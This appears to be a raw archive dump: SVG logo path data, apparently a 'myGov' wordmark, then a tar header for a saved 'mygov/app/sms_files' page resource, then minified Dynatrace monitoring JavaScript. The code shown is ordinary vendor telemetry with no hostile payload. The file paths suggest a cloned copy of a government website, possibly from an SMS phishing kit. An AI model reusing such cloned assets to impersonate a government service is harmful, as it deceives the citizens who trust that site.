d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/sms_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download000064400000736201151676702570021734 0ustar00/* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var Ua=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return Ua}function La(){return void 0===db.dialogArguments?navigator.cookieEnabled||ra():ra()}function gb(){var Ua;if(La()&&!window.dT_){var Pa= (Ua={},Ua.cfg="#CONFIGSTRING#|auto=#AUTO#|domain=#DOMAIN#|rid=RID_#REQUEST_ID#|rpid=#RESPONSE_ID#|app=#APP#",Ua.iCE=La,Ua);window.dT_=Pa}}var db="undefined"!==typeof window?window:self,Ea;db.dT_?(null===(Ea=db.console)||void 0===Ea?void 0:Ea.log("Duplicate agent injection detected, turning off redundant initConfig."),db.dT_.di=1):gb()})()})(); /* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(k,w,M){void 0===M&&(M=0);var A=-1;w&&(null===k||void 0===k?0:k.indexOf)&&(A=k.indexOf(w,M));return A}function La(){var k;return!(null===(k=Bb.console)||void 0===k||!k.log)}function gb(k,w){if(!w)return"";var M=k+"=";k=ra(w,M);if(0>k)return"";for(;0<=k;){if(0===k||" "===w.charAt(k-1)||";"===w.charAt(k-1))return M=k+M.length,k=ra(w,";",k),0<=k?w.substring(M, k):w.substring(M);k=ra(w,M,k+M.length)}return""}function db(k){return gb(k,document.cookie)}function Ea(){}function Ua(){var k=0;try{k=Math.round(Bb.performance.timeOrigin)}catch(w){}if(0>=k||isNaN(k)||!isFinite(k)){k=0;try{k=Bb.performance.timing.navigationStart}catch(w){}k=0>=k||isNaN(k)||!isFinite(k)?Jd:k}tg=k;J=Pa;return tg}function Pa(){return tg}function za(){return J()}function ab(){var k,w=0;if(null===(k=null===Bb||void 0===Bb?void 0:Bb.performance)||void 0===k?0:k.now)try{w=Math.round(Bb.performance.now())}catch(M){}return 0>= w||isNaN(w)||!isFinite(w)?(new Date).getTime()-J():w}function ba(k,w){void 0===w&&(w=document.cookie);return gb(k,w)}function Z(){}function Aa(k,w){return function(){k.apply(w,arguments)}}function na(k){if(!(this instanceof na))throw new TypeError("Promises must be constructed via new");if("function"!==typeof k)throw new TypeError("not a function");this.ka=0;this.oc=!1;this.sa=void 0;this.Ha=[];va(k,this)}function ta(k,w){for(;3===k.ka;)k=k.sa;0===k.ka?k.Ha.push(w):(k.oc=!0,na.Jb(function(){var M= 1===k.ka?w.xe:w.ye;if(null===M)(1===k.ka?Ma:Ja)(w.promise,k.sa);else{try{var A=M(k.sa)}catch(Ta){Ja(w.promise,Ta);return}Ma(w.promise,A)}}))}function Ma(k,w){try{if(w===k)throw new TypeError("A promise cannot be resolved with itself.");if(w&&("object"===typeof w||"function"===typeof w)){var M=w.then;if(w instanceof na){k.ka=3;k.sa=w;fa(k);return}if("function"===typeof M){va(Aa(M,w),k);return}}k.ka=1;k.sa=w;fa(k)}catch(A){Ja(k,A)}}function Ja(k,w){k.ka=2;k.sa=w;fa(k)}function fa(k){2===k.ka&&0===k.Ha.length&& na.Jb(function(){k.oc||na.Qc(k.sa)});for(var w=0,M=k.Ha.length;w<M;w++)ta(k,k.Ha[w]);k.Ha=null}function S(k,w,M){this.xe="function"===typeof k?k:null;this.ye="function"===typeof w?w:null;this.promise=M}function va(k,w){var M=!1;try{k(function(A){M||(M=!0,Ma(w,A))},function(A){M||(M=!0,Ja(w,A))})}catch(A){M||(M=!0,Ja(w,A))}}function ja(){K.Jb=function(k){if("string"===typeof k)throw Error("Promise polyfill called _immediateFn with string");k()};K.Qc=function(){};return K}function U(k,w){return parseInt(k, w||10)}function eb(k){return document.getElementsByTagName(k)}function L(k){var w=k.length;if("number"===typeof w)k=w;else{w=0;for(var M=2048;k[M-1];)w=M,M+=M;for(var A=7;1<M-w;)A=(M+w)/2,k[A-1]?w=A:M=A;k=k[A]?M:w}return k}function C(k){for(var w=[],M=1;M<arguments.length;M++)w[M-1]=arguments[M];k.push.apply(k,w)}function H(k){k=encodeURIComponent(k);var w=[];if(k)for(var M=0;M<k.length;M++){var A=k.charAt(M);C(w,Fa[A]||A)}return w.join("")}function Q(k){-1<ra(k,"^")&&(k=k.split("^^").join("^"),k= k.split("^dq").join('"'),k=k.split("^rb").join(">"),k=k.split("^lb").join("<"),k=k.split("^p").join("|"),k=k.split("^e").join("="),k=k.split("^s").join(";"),k=k.split("^c").join(","),k=k.split("^bs").join("\\"));return k}function ia(k,w){if(!k||!k.length)return-1;if(k.indexOf)return k.indexOf(w);for(var M=k.length;M--;)if(k[M]===w)return M;return-1}function W(k,w){var M;void 0===w&&(w=[]);if(!k||"object"!==typeof k&&"function"!==typeof k)return!1;var A="number"!==typeof w?w:[],Ta=null,xb=[];switch("number"=== typeof w?w:5){case 0:Ta="Array";xb.push("push");break;case 1:Ta="Boolean";break;case 2:Ta="Number";break;case 3:Ta="String";break;case 4:Ta="Function";break;case 5:Ta="Object";break;case 6:Ta="Date";xb.push("getTime");break;case 7:Ta="Error";xb.push("name","message");break;case 8:Ta="Element";break;case 9:Ta="HTMLElement";break;case 10:Ta="HTMLImageElement";xb.push("complete");break;case 11:Ta="PerformanceEntry";break;case 12:Ta="PerformanceTiming";break;case 13:Ta="PerformanceResourceTiming";break; case 14:Ta="PerformanceNavigationTiming";break;case 15:Ta="CSSRule";xb.push("cssText","parentStyleSheet");break;case 16:Ta="CSSStyleSheet";xb.push("cssRules","insertRule");break;case 17:Ta="Request";xb.push("url");break;case 18:Ta="Response";xb.push("ok","status","statusText");break;case 19:Ta="Set";xb.push("add","entries","forEach");break;case 20:Ta="Map";xb.push("set","entries","forEach");break;case 21:Ta="Worker";xb.push("addEventListener","postMessage","terminate");break;case 22:Ta="XMLHttpRequest"; xb.push("open","send","setRequestHeader");break;case 23:Ta="SVGScriptElement";xb.push("ownerSVGElement","type");break;case 24:Ta="HTMLMetaElement";xb.push("httpEquiv","content","name");break;case 25:Ta="HTMLHeadElement";break;case 26:Ta="ArrayBuffer";break;case 27:Ta="ShadowRoot",xb.push("host","mode")}w=Ta;if(!w)return!1;xb=xb.length?xb:A;if(!A.length)try{if(Bb[w]&&k instanceof Bb[w]||Object.prototype.toString.call(k)==="[object "+w+"]")return!0;if(k&&k.nodeType&&1===k.nodeType){var ec=null===(M= k.ownerDocument.defaultView)||void 0===M?void 0:M[w];if("function"===typeof ec&&k instanceof ec)return!0}}catch(uc){}for(M=0;M<xb.length;M++)if(A=xb[M],"string"!==typeof A&&"number"!==typeof 